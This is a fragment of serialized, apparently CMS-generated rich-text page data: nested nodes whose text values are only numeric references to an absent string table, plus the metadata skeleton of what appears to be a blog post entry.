72315,"content":72316,"nodeType":1835},{},[72317],{"data":72318,"content":72319,"nodeType":866},{},[72320],{"data":72321,"marks":72322,"value":30854,"nodeType":865},{},[],{"data":72324,"content":72325,"nodeType":1869},{},[72326,72336],{"data":72327,"content":72328,"nodeType":1835},{},[72329],{"data":72330,"content":72331,"nodeType":866},{},[72332],{"data":72333,"marks":72334,"value":30349,"nodeType":865},{},[72335],{"type":961},{"data":72337,"content":72338,"nodeType":1835},{},[72339],{"data":72340,"content":72341,"nodeType":866},{},[72342],{"data":72343,"marks":72344,"value":30877,"nodeType":865},{},[],{"data":72346,"content":72349,"nodeType":925},{"target":72347},{"sys":72348},{"id":30882,"type":922,"linkType":923},[],{"data":72351,"content":72354,"nodeType":925},{"target":72352},{"sys":72353},{"id":30888,"type":922,"linkType":923},[],{"data":72356,"content":72357,"nodeType":953},{},[],{"data":72359,"content":72360,"nodeType":1458},{},[72361],{"data":72362,"marks":72363,"value":30900,"nodeType":865},{},[72364],{"type":961},{"data":72366,"content":72367,"nodeType":2396},{},[72368,72390,72426,72460,72482],{"data":72369,"content":72370,"nodeType":1869},{},[72371,72381],{"data":72372,"content":72373,"nodeType":1835},{},[72374],{"data":72375,"content":72376,"nodeType":866},{},[72377],{"data":72378,"marks":72379,"value":29967,"nodeType":865},{},[72380],{"type":961},{"data":72382,"content":72383,"nodeType":1835},{},[72384],{"data":72385,"content":72386,"nodeType":866},{},[72387],{"data":72388,"marks":72389,"value":30926,"nodeType":865},{},[],{"data":72391,"content":72392,"nodeType":1869},{},[72393,72403],{"data":72394,"content":72395,"nodeType":1835},{},[72396],{"data":72397,"content":72398,"nodeType":866},{},[72399],{"data":72400,"marks":72401,"value":29991,"nodeType":865},{},[72402],{"type":961},{"data":72404,"content":72405,"nodeType":1835},{},[72406,72416],{"data":72407,"content":72408,"nodeType":866},{},[72409,72413],{"data":72410,"marks":72411,"value":30466,"nodeType":865},{},[72412],{"type":961},{"data":72414,"marks":72415,"value":30953,"nodeType":865},{},[],{"data":72417,"content":72418,"nodeType":866},{},[72419,72423],{"data":72420,"marks":72421,"value":30032,"nodeType":865},{},[72422],{"type":961},{"data":72424,"marks":72425,"value":30964,"nodeType":865},{},[],{"data":72427,"content":72428,"nodeType":1869},{},[72429,72439],{"data":72430,"content":72431,"nodeType":1835},{},[72432],{"data":72433,"content":72434,"nodeType":866},{},[72435],{"data":72436,"marks":72437,"value":30074,"nodeType":865},{},[72438],{"type":961},{"data":72440,"content":72441,"nodeType":1835},{},[72442,72448,72454],{"data":72443,"content":72444,"nodeType":866},{},[72445],{"data":72446,"marks":72447,"value":30987,"nodeType":865},{},[],{"data":72449,"content":72450,"nodeType":866},{},[72451],{"data":72452,"marks":72453,"value":30994,"nodeType":865},{},[],{"data":72455,"content":72456,"nodeType":866},{},[72457],{"data":72458,"marks":72459,"value":31001,"nodeType":865},{},[],{"data":72461,"content":72462,"nodeType":1869},{},[72463,72473],{"data":72464,"content":72465,"nodeType":1835},{},[72466],{"data":72467,"content":72468,"nodeType":866},{},[72469],{"data":72470,"marks":72471,"value":30126,"nodeType":865},{},[72472],{"type":961},{"data":72474,"content":72475,"nodeType":1835},{},[72476],{"data":72477,"content":72478,"nodeType":866},{},[72479],{"data":72480,"marks":72481,"value":31024,"nodeType":865},{},[],{"data":72483,"content":72484,"nodeType":1869},{},[72485,72495],{"data":72486,"content":72487,"nodeType":1835},{},[72488],{"data":72489,"content":72490,"nodeType":866},{},[72491],{"data":72492,"marks":72493,"value":30349,"nodeType":865},{},[72494],{"type":961},{"data":72496,"content":72497,"nodeType":1835},{},[72498],{"data":72499,"content":72500,"nodeType":866},{},[72501],{"data":72502,"marks":72503,"value":31047,"nodeType":865},{},[],{"data":72505,"content":72508,"nodeType":925},{"target":72506},{"sys":72507},{"id":31052,"type":922,"linkType":923},[],{"data":72510,"content":72511,"nodeType":953},{},[],{"data":72513,"content":72514,"nodeType":1458},{},[72515],{"data":72516,"marks":72517,"value":31064,"nodeType":865},{},[72518],{"type":961},{"data":72520,"content":72521,"nodeType":2396},{},[72522,72544,72587,72615,72637],{"data":72523,"content":72524,"nodeType":1869},{},[72525,72535],{"data":72526,"content":72527,"nodeType":1835},{},[72528],{"data":72529,"content":72530,"nodeType":866},{},[72531],{"data":72532,"marks":72533,"value":29967,"nodeType":865},{},[72534],{"type":961},{"data":72536,"content":72537,"nodeType":1835},{},[72538],{"data":72539,"content":72540,"nodeType":866},{},[72541],{"data":72542,"marks":72543,"value":30763,"nodeType":865},{},[],{"data":72545,"content":72546,"nodeType":1869},{},[72547,72557],{"data":72548,"content":72549,"nodeType":1835},{},[72550],{"data":72551,"content":72552,"nodeType":866},{},[72553],{"data":72554,"marks":72555,"value":29991,"nodeType":865},{},[72556],{"type":961},{"data":72558,"content":72559,"nodeType":1835},{},[72560,72570],{"data":72561,"content":72562,"nodeType":866},{},[72563,72567],{"data":72564,"marks":72565,"value":30466,"nodeType":865},{},[72566],{"type":961},{"data":72568,"marks":72569,"value":31116,"nodeType":865},{},[],{"data":72571,"content":72572,"nodeType":866},{},[72573,72577,72580,72584],{"data":72574,"marks":72575,"value":30032,"nodeType":865},{},[72576],{"type":961},{"data":72578,"marks":72579,"value":2157,"nodeType":865},{},[],{"data":72581,"marks":72582,"value":3230,"nodeType":865},{},[72583],{"type":961},{"data":72585,"marks":72586,"value":31134,"nodeType":865},{},[],{"data":72588,"content":72589,"nodeType":1869},{},[72590,72600],{"data":72591,"content":72592,"nodeType":1835},{},[72593],{"data":72594,"content":72595,"nodeType":866},{},[72596],{"data":72597,"marks":72598,"value":30074,"nodeType":865},{},[72599],{"type":961},{"data":72601,"content":72602,"nodeType":1835},{},[72603,72609],{"data":72604,"content":72605,"nodeType":866},{},[72606],{"data":72607,"marks":72608,"value":31157,"nodeType":865},{},[],{"data":72610,"content":72611,"nodeType":866},{},[72612],{"data":72613,"marks":72614,"value":31164,"nodeType":865},{},[],{"data":72616,"content":72617,"nodeType":1869},{},[72618,72628],{"data":72619,"content":72620,"nodeType":1835},{},[72621],{"data":72622,"content":72623,"nodeType":866},{},[72624],{"data":72625,"marks":72626,"value":30126,"nodeType":865},{},[72627],{"type":961},{"data":72629,"content":72630,"nodeType":1835},{},[72631],{"data":72632,"content":72633,"nodeType":866},{},[72634],{"data":72635,"marks":72636,"value":31187,"nodeType":865},{},[],{"data":72638,"content":72639,"nodeType":1869},{},[72640,72650],{"data":72641,"content":72642,"nodeType":1835},{},[72643],{"data":72644,"content":72645,"nodeType":866},{},[72646],{"data":72647,"marks":72648,"value":30349,"nodeType":865},{},[72649],{"type":961},{"data":72651,"content":72652,"nodeType":1835},{},[72653],{"data":72654,"content":72655,"nodeType":866},{},[72656],{"data":72657,"marks":72658,"value":31210,"nodeType":865},{},[],{"data":72660,"content":72663,"nodeType":925},{"target":72661},{"sys":72662},{"id":31215,"type":922,"linkType":923},[],{"data":72665,"content":72666,"nodeType":953},{},[],{"data":72668,"content":72669,"nodeType":1458},{},[72670],{"data":72671,"marks":72672,"value":31227,"nodeType":865},{},[72673],{"type":961},{"data":72675,"content":72676,"nodeType":2396},{},[72677,72699,72721,72743],{"data":72678,"content":72679,"nodeType":1869},{},[72680,72690],{"data":72681,"content":72682,"nodeType":1835},{},[72683],{"data":72684,"content":72685,"nodeType":866},{},[72686],{"data":72687,"marks":72688,"value":29967,"nodeType":865},{},[72689],{"type":961},{"data":72691,"content":72692,"nodeType":1835},{},[72693],{"data":72694,"content":72695,"nodeType":866},{},[72696],{"data":72697,"marks":72698,"value":31253,"nodeType":865},{},[],{"data":72700,"content":72701,"nodeType":1869},{},[72702,72712],{"data":72703,"content":72704,"nodeType":1835},{},[72705],{"data":72706,"content":72707,"nodeType":866},{},[72708],{"data":72709,"marks":72710,"value":30074,"nodeType":865},{},[72711],{"type":961},{"data":72713,"content":72714,"nodeType":1835},{},[72715],{"data":72716,"content":72717,"nodeType":866},{},[72718],{"data":72719,"marks":72720,"value":31276,"nodeType":865},{},[],{"data":72722,"content":72723,"nodeType":1869},{},[72724,72734],{"data":72725,"content":72726,"nodeType":1835},{},[72727],{"data":72728,"content":72729,"nodeType":866},{},[72730],{"data":72731,"marks":72732,"value":30126,"nodeType":865},{},[72733],{"type":961},{"data":72735,"content":72736,"nodeType":1835},{},[72737],{"data":72738,"content":72739,"nodeType":866},{},[72740],{"data":72741,"marks":72742,"value":31299,"nodeType":865},{},[],{"data":72744,"content":72745,"nodeType":1869},{},[72746,72756],{"data":72747,"content":72748,"nodeType":1835},{},[72749],{"data":72750,"content":72751,"nodeType":866},{},[72752],{"data":72753,"marks":72754,"value":30349,"nodeType":865},{},[72755],{"type":961},{"data":72757,"content":72758,"nodeType":1835},{},[72759],{"data":72760,"content":72761,"nodeType":866},{},[72762],{"data":72763,"marks":72764,"value":31322,"nodeType":865},{},[],{"data":72766,"content":72769,"nodeType":925},{"target":72767},{"sys":72768},{"id":31327,"type":922,"linkType":923},[],{"data":72771,"content":72772,"nodeType":953},{},[],{"data":72774,"content":72775,"nodeType":1458},{},[72776],{"data":72777,"marks":72778,"value":31339,"nodeType":865},{},[72779],{"type":961},{"data":72781,"content":72782,"nodeType":2396},{},[72783,72805,72827,72849],{"data":72784,"content":72785,"nodeType":1869},{},[72786,72796],{"data":72787,"content":72788,"nodeType":1835},{},[72789],{"data":72790,"content":72791,"nodeType":866},{},[72792],{"data":72793,"marks":72794,"value":29967,"nodeType":865},{},[72795],{"type":961},{"data":72797,"content":72798,"nodeType":1835},{},[72799],{"data":72800,"content":72801,"nodeType":866},{},[72802],{"data":72803,"marks":72804,"value":30250,"nodeType":865},{},[],{"data":72806,"content":72807,"nodeType":1869},{},[72808,72818],{"data":72809,"content":72810,"nodeType":1835},{},[72811],{"data":72812,"content":72813,"nodeType":866},{},[72814],{"data":72815,"marks":72816,"value":30074,"nodeType":865},{},[72817],{"type":961},{"data":72819,"content":72820,"nodeType":1835},{},[72821],{"data":72822,"content":72823,"nodeType":866},{},[72824],{"data":72825,"marks":72826,"value":31387,"nodeType":865},{},[],{"data":72828,"content":72829,"nodeType":1869},{},[72830,72840],{"data":72831,"content":72832,"nodeType":1835},{},[72833],{"data":72834,"content":72835,"nodeType":866},{},[72836],{"data":72837,"marks":72838,"value":30126,"nodeType":865},{},[72839],{"type":961},{"data":72841,"content":72842,"nodeType":1835},{},[72843],{"data":72844,"content":72845,"nodeType":866},{},[72846],{"data":72847,"marks":72848,"value":31410,"nodeType":865},{},[],{"data":72850,"content":72851,"nodeType":1869},{},[72852,72862],{"data":72853,"content":72854,"nodeType":1835},{},[72855],{"data":72856,"content":72857,"nodeType":866},{},[72858],{"data":72859,"marks":72860,"value":30349,"nodeType":865},{},[72861],{"type":961},{"data":72863,"content":72864,"nodeType":1835},{},[72865],{"data":72866,"content":72867,"nodeType":866},{},[72868],{"data":72869,"marks":72870,"value":31433,"nodeType":865},{},[],{"data":72872,"content":72875,"nodeType":925},{"target":72873},{"sys":72874},{"id":31438,"type":922,"linkType":923},[],{"data":72877,"content":72878,"nodeType":953},{},[],{"data":72880,"content":72881,"nodeType":1458},{},[72882],{"data":72883,"marks":72884,"value":31450,"nodeType":865},{},[72885],{"type":961},{"data":72887,"content":72890,"nodeType":925},{"target":72888},{"sys":72889},{"id":31455,"type":922,"linkType":923},[],{"data":72892,"content":72893,"nodeType":2396},{},[72894,72916,72952,72974,72996],{"data":72895,"content":72896,"nodeType":1869},{},[72897,72907],{"data":72898,"content":72899,"nodeType":1835},{},[72900],{"data":72901,"content":72902,"nodeType":866},{},[72903],{"data":72904,"marks":72905,"value":29967,"nodeType":865},{},[72906],{"type":961},{"data":72908,"content":72909,"nodeType":1835},{},[72910],{"data":72911,"content":72912,"nodeType":866},{},[72913],{"data":72914,"marks":72915,"value":31482,"nodeType":865},{},[],{"data":72917,"content":72918,"nodeType":1869},{},[72919,72929],{"data":72920,"content":72921,"nodeType":1835},{},[72922],{"data":72923,"content":72924,"nodeType":866},{},[72925],{"data":72926,"marks":72927,"value":29991,"nodeType":865},{},[72928],{"type":961},{"data":72930,"content":72931,"nodeType":1835},{},[72932,72942],{"data":72933,"content":72934,"nodeType":866},{},[72935,72939],{"data":72936,"marks":72937,"value":30466,"nodeType":865},{},[72938],{"type":961},{"data":72940,"marks":72941,"value":31509,"nodeType":865},{},[],{"data":72943,"content":72944,"nodeType":866},{},[72945,72949],{"data":72946,"marks":72947,"value":30032,"nodeType":865},{},[72948],{"type":961},{"data":72950,"marks":72951,"value":31520,"nodeType":865},{},[],{"data":72953,"content":72954,"nodeType":1869},{},[72955,72965],{"data":72956,"content":72957,"nodeType":1835},{},[72958],{"data":72959,"content":72960,"nodeType":866},{},[72961],{"data":72962,"marks":72963,"value":30074,"nodeType":865},{},[72964],{"type":961},{"data":72966,"content":72967,"nodeType":1835},{},[72968],{"data":72969,"content":72970,"nodeType":866},{},[72971],{"data":72972,"marks":72973,"value":31543,"nodeType":865},{},[],{"data":72975,"content":72976,"nodeType":1869},{},[72977,72987],{"data":72978,"content":72979,"nodeType":1835},{},[72980],{"data":72981,"content":72982,"nodeType":866},{},[72983],{"data":72984,"marks":72985,"value":30126,"nodeType":865},{},[72986],{"type":961},{"data":72988,"content":72989,"nodeType":1835},{},[72990],{"data":72991,"content":72992,"nodeType":866},{},[72993],{"data":72994,"marks":72995,"value":31566,"nodeType":865},{},[],{"data":72997,"content":72998,"nodeType":1869},{},[72999,73009],{"data":73000,"content":73001,"nodeType":1835},{},[73002],{"data":73003,"content":73004,"nodeType":866},{},[73005],{"data":73006,"marks":73007,"value":30349,"nodeType":865},{},[73008],{"type":961},{"data":73010,"content":73011,"nodeType":1835},{},[73012],{"data":73013,"content":73014,"nodeType":866},{},[73015],{"data":73016,"marks":73017,"value":31589,"nodeType":865},{},[],{"data":73019,"content":73022,"nodeType":925},{"target":73020},{"sys":73021},{"id":31594,"type":922,"linkType":923},[],{"data":73024,"content":73025,"nodeType":953},{},[],{"data":73027,"content":73028,"nodeType":1458},{},[73029],{"data":73030,"marks":73031,"value":31606,"nodeType":865},{},[73032],{"type":961},{"data":73034,"content":73035,"nodeType":2396},{},[73036,73058],{"data":73037,"content":73038,"nodeType":1869},{},[73039,73049],{"data":73040,"content":73041,"nodeType":1835},{},[73042],{"data":73043,"content":73044,"nodeType":866},{},[73045],{"data":73046,"marks":73047,"value":30074,"nodeType":865},{},[73048],{"type":961},{"data":73050,"content":73051,"nodeType":1835},{},[73052],{"data":73053,"content":73054,"nodeType":866},{},[73055],{"data":73056,"marks":73057,"value":31632,"nodeType":865},{},[],{"data":73059,"content":73060,"nodeType":1869},{},[73061,73071],{"data":73062,"content":73063,"nodeType":1835},{},[73064],{"data":73065,"content":73066,"nodeType":866},{},[73067],{"data":73068,"marks":73069,"value":30126,"nodeType":865},{},[73070],{"type":961},{"data":73072,"content":73073,"nodeType":1835},{},[73074],{"data":73075,"content":73076,"nodeType":866},{},[73077],{"data":73078,"marks":73079,"value":31655,"nodeType":865},{},[],{"data":73081,"content":73084,"nodeType":925},{"target":73082},{"sys":73083},{"id":31660,"type":922,"linkType":923},[],{"data":73086,"content":73087,"nodeType":953},{},[],{"data":73089,"content":73090,"nodeType":1458},{},[73091],{"data":73092,"marks":73093,"value":31672,"nodeType":865},{},[73094],{"type":961},{"data":73096,"content":73097,"nodeType":2396},{},[73098,73126,73162,73184,73206],{"data":73099,"content":73100,"nodeType":1869},{},[73101,73111],{"data":73102,"content":73103,"nodeType":1835},{},[73104],{"data":73105,"content":73106,"nodeType":866},{},[73107],{"data":73108,"marks":73109,"value":29967,"nodeType":865},{},[73110],{"type":961},{"data":73112,"content":73113,"nodeType":1835},{},[73114,73120],{"data":73115,"content":73116,"nodeType":866},{},[73117],{"data":73118,"marks":73119,"value":31698,"nodeType":865},{},[],{"data":73121,"content":73122,"nodeType":866},{},[73123],{"data":73124,"marks":73125,"value":31705,"nodeType":865},{},[],{"data":73127,"content":73128,"nodeType":1869},{},[73129,73139],{"data":73130,"content":73131,"nodeType":1835},{},[73132],{"data":73133,"content":73134,"nodeType":866},{},[73135],{"data":73136,"marks":73137,"value":29991,"nodeType":865},{},[73138],{"type":961},{"data":73140,"content":73141,"nodeType":1835},{},[73142,73152],{"data":73143,"content":73144,"nodeType":866},{},[73145,73149],{"data":73146,"marks":73147,"value":30466,"nodeType":865},{},[73148],{"type":961},{"data":73150,"marks":73151,"value":31732,"nodeType":865},{},[],{"data":73153,"content":73154,"nodeType":866},{},[73155,73159],{"data":73156,"marks":73157,"value":30032,"nodeType":865},{},[73158],{"type":961},{"data":73160,"marks":73161,"value":30289,"nodeType":865},{},[],{"data":73163,"content":73164,"nodeType":1869},{},[73165,73175],{"data":73166,"content":73167,"nodeType":1835},{},[73168],{"data":73169,"content":73170,"nodeType":866},{},[73171],{"data":73172,"marks":73173,"value":30074,"nodeType":865},{},[73174],{"type":961},{"data":73176,"content":73177,"nodeType":1835},{},[73178],{"data":73179,"content":73180,"nodeType":866},{},[73181],{"data":73182,"marks":73183,"value":31765,"nodeType":865},{},[],{"data":73185,"content":73186,"nodeType":1869},{},[73187,73197],{"data":73188,"content":73189,"nodeType":1835},{},[73190],{"data":73191,"content":73192,"nodeType":866},{},[73193],{"data":73194,"marks":73195,"value":30126,"nodeType":865},{},[73196],{"type":961},{"data":73198,"content":73199,"nodeType":1835},{},[73200],{"data":73201,"content":73202,"nodeType":866},{},[73203],{"data":73204,"marks":73205,"value":31788,"nodeType":865},{},[],{"data":73207,"content":73208,"nodeType":1869},{},[73209,73219],{"data":73210,"content":73211,"nodeType":1835},{},[73212],{"data":73213,"content":73214,"nodeType":866},{},[73215],{"data":73216,"marks":73217,"value":30349,"nodeType":865},{},[73218],{"type":961},{"data":73220,"content":73221,"nodeType":1835},{},[73222],{"data":73223,"content":73224,"nodeType":866},{},[73225],{"data":73226,"marks":73227,"value":31811,"nodeType":865},{},[],{"data":73229,"content":73232,"nodeType":925},{"target":73230},{"sys":73231},{"id":10964,"type":922,"linkType":923},[],{"data":73234,"content":73235,"nodeType":953},{},[],{"data":73237,"content":73238,"nodeType":1458},{},[73239],{"data":73240,"marks":73241,"value":31827,"nodeType":865},{},[73242],{"type":961},{"data":73244,"content":73245,"nodeType":2396},{},[73246,73268,73304,73326,73348],{"data":73247,"content":73248,"nodeType":1869},{},[73249,73259],{"data":73250,"content":73251,"nodeType":1835},{},[73252],{"data":73253,"content":73254,"nodeType":866},{},[73255],{"data":73256,"marks":73257,"value":29967,"nodeType":865},{},[73258],{"type":961},{"data":73260,"content":73261,"nodeType":1835},{},[73262],{"data":73263,"content":73264,"nodeType":866},{},[73265],{"data":73266,"marks":73267,"value":31853,"nodeType":865},{},[],{"data":73269,"content":73270,"nodeType":1869},{},[73271,73281],{"data":73272,"content":73273,"nodeType":1835},{},[73274],{"data":73275,"content":73276,"nodeType":866},{},[73277],{"data":73278,"marks":73279,"value":29991,"nodeType":865},{},[73280],{"type":961},{"data":73282,"content":73283,"nodeType":1835},{},[73284,73294],{"data":73285,"content":73286,"nodeType":866},{},[73287,73291],{"data":73288,"marks":73289,"value":30466,"nodeType":865},{},[73290],{"type":961},{"data":73292,"marks":73293,"value":31880,"nodeType":865},{},[],{"data":73295,"content":73296,"nodeType":866},{},[73297,73301],{"data":73298,"marks":73299,"value":30032,"nodeType":865},{},[73300],{"type":961},{"data":73302,"marks":73303,"value":31891,"nodeType":865},{},[],{"data":73305,"content":73306,"nodeType":1869},{},[73307,73317],{"data":73308,"content":73309,"nodeType":1835},{},[73310],{"data":73311,"content":73312,"nodeType":866},{},[73313],{"data":73314,"marks":73315,"value":30074,"nodeType":865},{},[73316],{"type":961},{"data":73318,"content":73319,"nodeType":1835},{},[73320],{"data":73321,"content":73322,"nodeType":866},{},[73323],{"data":73324,"marks":73325,"value":31765,"nodeType":865},{},[],{"data":73327,"content":73328,"nodeType":1869},{},[73329,73339],{"data":73330,"content":73331,"nodeType":1835},{},[73332],{"data":73333,"content":73334,"nodeType":866},{},[73335],{"data":73336,"marks":73337,"value":30126,"nodeType":865},{},[73338],{"type":961},{"data":73340,"content":73341,"nodeType":1835},{},[73342],{"data":73343,"content":73344,"nodeType":866},{},[73345],{"data":73346,"marks":73347,"value":31936,"nodeType":865},{},[],{"data":73349,"content":73350,"nodeType":1869},{},[73351,73361],{"data":73352,"content":73353,"nodeType":1835},{},[73354],{"data":73355,"content":73356,"nodeType":866},{},[73357],{"data":73358,"marks":73359,"value":30349,"nodeType":865},{},[73360],{"type":961},{"data":73362,"content":73363,"nodeType":1835},{},[73364],{"data":73365,"content":73366,"nodeType":866},{},[73367],{"data":73368,"marks":73369,"value":31959,"nodeType":865},{},[],{"data":73371,"content":73374,"nodeType":925},{"target":73372},{"sys":73373},{"id":31964,"type":922,"linkType":923},[],{"data":73376,"content":73377,"nodeType":953},{},[],{"data":73379,"content":73380,"nodeType":963},{},[73381],{"data":73382,"marks":73383,"value":31976,"nodeType":865},{},[73384],{"type":961},{"data":73386,"content":73387,"nodeType":866},{},[73388,73391],{"data":73389,"marks":73390,"value":31983,"nodeType":865},{},[],{"data":73392,"marks":73393,"value":31988,"nodeType":865},{},[73394],{"type":961},{"data":73396,"content":73397,"nodeType":866},{},[73398],{"data":73399,"marks":73400,"value":31995,"nodeType":865},{},[],{"data":73402,"content":73405,"nodeType":925},{"target":73403},{"sys":73404},{"id":32000,"type":922,"linkType":923},[],{"data":73407,"content":73410,"nodeType":925},{"target":73408},{"sys":73409},{"id":32006,"type":922,"linkType":923},[],{"data":73412,"content":73413,"nodeType":866},{},[73414],{"data":73415,"marks":73416,"value":32014,"nodeType":865},{},[],{"data":73418,"content":73419,"nodeType":866},{},[73420,73423,73427,73430],{"data":73421,"marks":73422,"value":32021,"nodeType":865},{},[],{"data":73424,"marks":73425,"value":32026,"nodeType":865},{},[73426],{"type":961},{"data":73428,"marks":73429,"value":32030,"nodeType":865},{},[],{"data":73431,"marks":73432,"value":32035,"nodeType":865},{},[73433],{"type":961},{"data":73435,"content":73436,"nodeType":866},{},[73437,73440,73444],{"data":73438,"marks":73439,"value":32042,"nodeType":865},{},[],{"data":73441,"marks":73442,"value":32047,"nodeType":865},{},[73443],{"type":961},{"data":73445,"marks":73446,"value":32051,"nodeType":865},{},[],{"data":73448,"content":73451,"nodeType":925},{"target":73449},{"sys":73450},{"id":32056,"type":922,"linkType":923},[],{"data":73453,"content":73454,"nodeType":953},{},[],{"data":73456,"content":73457,"nodeType":963},{},[73458],{"data":73459,"marks":73460,"value":32068,"nodeType":865},{},[73461],{"type":961},{"data":73463,"content":73464,"nodeType":1458},{},[73465],{"data":73466,"marks":73467,"value":32076,"nodeType":865},{},[73468],{"type":961},{"data":73470,"content":73471,"nodeType":866},{},[73472,73475,73479,73482],{"data":73473,"marks":73474,"value":32083,"nodeType":865},{},[],{"data":73476,"marks":73477,"value":32088,"nodeType":865},{},[73478],{"type":961},{"data":73480,"marks":73481,"value":32092,"nodeType":865},{},[],{"data":73483,"marks":73484,"value":32097,"nodeType":865},{},[73485],{"type":961},{"data":73487,"content":73488,"nodeType":866},{},[73489,73493,73496,73500],{"data":73490,"marks":73491,"value":32105,"nodeType":865},{},[73492],{"type":961},{"data":73494,"marks":73495,"value":32109,"nodeType":865},{},[],{"data":73497,"marks":73498,"value":32114,"nodeType":865},{},[73499],{"type":961},{"data":73501,"marks":73502,"value":32118,"nodeType":865},{},[],{"data":73504,"content":73507,"nodeType":925},{"target":73505},{"sys":73506},{"id":31052,"type":922,"linkType":923},[],{"data":73509,"content":73510,"nodeType":866},{},[73511],{"data":73512,"marks":73513,"value":32130,"nodeType":865},{},[],{"data":73515,"content":73516,"nodeType":866},{},[73517],{"data":73518,"marks":73519,"value":32137,"nodeType":865},{},[],{"data":73521,"content":73522,"nodeType":1458},{},[73523],{"data":73524,"marks":73525,"value":32145,"nodeType":865},{},[73526],{"type":961},{"data":73528,"content":73529,"nodeType":866},{},[73530],{"data":73531,"marks":73532,"value":32152,"nodeType":865},{},[],{"data":73534,"content":73535,"nodeType":866},{},[73536],{"data":73537,"marks":73538,"value":32159,"nodeType":865},{},[],{"data":73540,"content":73541,"nodeType":866},{},[73542],{"data":73543,"marks":73544,"value":32166,"nodeType":865},{},[],{"data":73546,"content":73547,"nodeType":1458},{},[73548],{"data":73549,"marks":73550,"value":32174,"nodeType":865},{},[73551],{"type":961},{"data":73553,"content":73554,"nodeType":866},{},[73555],{"data":73556,"marks":73557,"value":32181,"nodeType":865},{},[],{"data":73559,"content":73560,"nodeType":1049},{},[73561,73574,73587],{"data":73562,"content":73563,"nodeType":1003},{},[73564],{"data":73565,"content":73566,"nodeType":866},{},[73567,73571],{"data":73568,"marks":73569,"value":32195,"nodeType":865},{},[73570],{"type":961},{"data":73572,"marks":73573,"value":32199,"nodeType":865},{},[],{"data":73575,"content":73576,"nodeType":1003},{},[73577],{"data":73578,"content":73579,"nodeType":866},{},[73580,73584],{"data":73581,"marks":73582,"value":29673,"nodeType":865},{},[73583],{"type":961},{"data":73585,"marks":73586,"value":32213,"nodeType":865},{},[],{"data":73588,"content":73589,"nodeType":1003},{},[73590],{"data":73591,"content":73592,"nodeType":866},{},[73593,73596,73600],{"data":73594,"marks":73595,"value":32223,"nodeType":865},{},[],{"data":73597,"marks":73598,"value":19618,"nodeType":865},{},[73599],{"type":961},{"data":73601,"marks":73602,"value":32231,"nodeType":865},{},[],{"data":73604,"content":73607,"nodeType":925},{"target":73605},{"sys":73606},{"id":32236,"type":922,"linkType":923},[],{"data":73609,"content":73610,"nodeType":953},{},[],{"data":73612,"content":73613,"nodeType":963},{},[73614],{"data":73615,"marks":73616,"value":32248,"nodeType":865},{},[73617],{"type":961},{"data":73619,"content":73620,"nodeType":866},{},[73621],{"data":73622,"marks":73623,"value":32255,"nodeType":865},{},[],{"data":73625,"content":73626,"nodeType":866},{},[73627],{"data":73628,"marks":73629,"value":32262,"nodeType":865},{},[],{"data":73631,"content":73632,"nodeType":866},{},[73633,73636,73643,73646,73650,73653,73657,73660,73664],{"data":73634,"marks":73635,"value":32269,"nodeType":865},{},[],{"data":73637,"content":73638,"nodeType":882},{"uri":32272},[73639],{"data":73640,"marks":73641,"value":32278,"nodeType":865},{},[73642],{"type":997},{"data":73644,"marks":73645,"value":32282,"nodeType":865},{},[],{"data":73647,"marks":73648,"value":32287,"nodeType":865},{},[73649],{"type":961},{"data":73651,"marks":73652,"value":32291,"nodeType":865},{},[],{"data":73654,"marks":73655,"value":32296,"nodeType":865},{},[73656],{"type":961},{"data":73658,"marks":73659,"value":32300,"nodeType":865},{},[],{"data":73661,"marks":73662,"value":32305,"nodeType":865},{},[73663],{"type":961},{"data":73665,"marks":73666,"value":32309,"nodeType":865},{},[],{"data":73668,"content":73671,"nodeType":925},{"target":73669},{"sys":73670},{"id":32314,"type":922,"linkType":923},[],{"data":73673,"content":73674,"nodeType":866},{},[73675],{"data":73676,"marks":73677,"value":32322,"nodeType":865},{},[],{"data":73679,"content":73680,"nodeType":953},{},[],{"data":73682,"content":73683,"nodeType":963},{},[73684],{"data":73685,"marks":73686,"value":32333,"nodeType":865},{},[73687],{"type":961},{"data":73689,"content":73690,"nodeType":866},{},[73691],{"data":73692,"marks":73693,"value":32340,"nodeType":865},{},[],{"data":73695,"content":73696,"nodeType":866},{},[73697],{"data":73698,"marks":73699,"value":32347,"nodeType":865},{},[],{"data":73701,"content":73702,"nodeType":866},{},[73703,73706,73713],{"data":73704,"marks":73705,"value":32354,"nodeType":865},{},[],{"data":73707,"content":73708,"nodeType":882},{"uri":32357},[73709],{"data":73710,"marks":73711,"value":32363,"nodeType":865},{},[73712],{"type":997},{"data":73714,"marks":73715,"value":32367,"nodeType":865},{},[],{"data":73717,"content":73720,"nodeType":925},{"target":73718},{"sys":73719},{"id":32372,"type":922,"linkType":923},[],{"data":73722,"content":73723,"nodeType":866},{},[73724],{"data":73725,"marks":73726,"value":32380,"nodeType":865},{},[],{"data":73728,"content":73729,"nodeType":1458},{},[73730],{"data":73731,"marks":73732,"value":1704,"nodeType":865},{},[73733],{"type":961},{"data":73735,"content":73736,"nodeType":866},{},[73737],{"data":73738,"marks":73739,"value":32394,"nodeType":865},{},[],{"data":73741,"content":73742,"nodeType":866},{},[73743,73746,73753,73756,73763,73766,73773],{"data":73744,"marks":73745,"value":32401,"nodeType":865},{},[],{"data":73747,"content":73748,"nodeType":882},{"uri":22700},[73749],{"data":73750,"marks":73751,"value":22706,"nodeType":865},{},[73752],{"type":997},{"data":73754,"marks":73755,"value":2186,"nodeType":865},{},[],{"data":73757,"content":73758,"nodeType":882},{"uri":22712},[73759],{"data":73760,"marks":73761,"value":32419,"nodeType":865},{},[73762],{"type":997},{"data":73764,"marks":73765,"value":22722,"nodeType":865},{},[],{"data":73767,"content":73768,"nodeType":882},{"uri":1728},[73769],{"data":73770,"marks":73771,"value":22730,"nodeType":865},{},[73772],{"type":997},{"data":73774,"marks":73775,"value":1048,"nodeType":865},{},[],{"items":73777},[73778,73780],{"sys":73779,"name":11426},{"id":11425},{"sys":73781,"name":342},{"id":8410},{"items":73783},[73784],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":73785},{"url":32449},{"__typename":1788,"sys":73787,"content":73789,"title":74729,"synopsis":74730,"hashTags":59,"publishedDate":74731,"slug":74732,"tagsCollection":74733,"authorsCollection":74739},{"id":73788},"2sFCww9xnI8okIxhtOaiY1",{"json":73790},{"data":73791,"content":73792,"nodeType":1739},{},[73793,73800,73807,73814,73817,73825,73832,73839,73845,73852,73858,73877,73884,73896,73899,73907,73914,73930,73937,73949,73955,73958,73966,73974,73980,73989,74009,74018,74025,74034,74053,74062,74069,74078,74109,74118,74125,74134,74152,74158,74167,7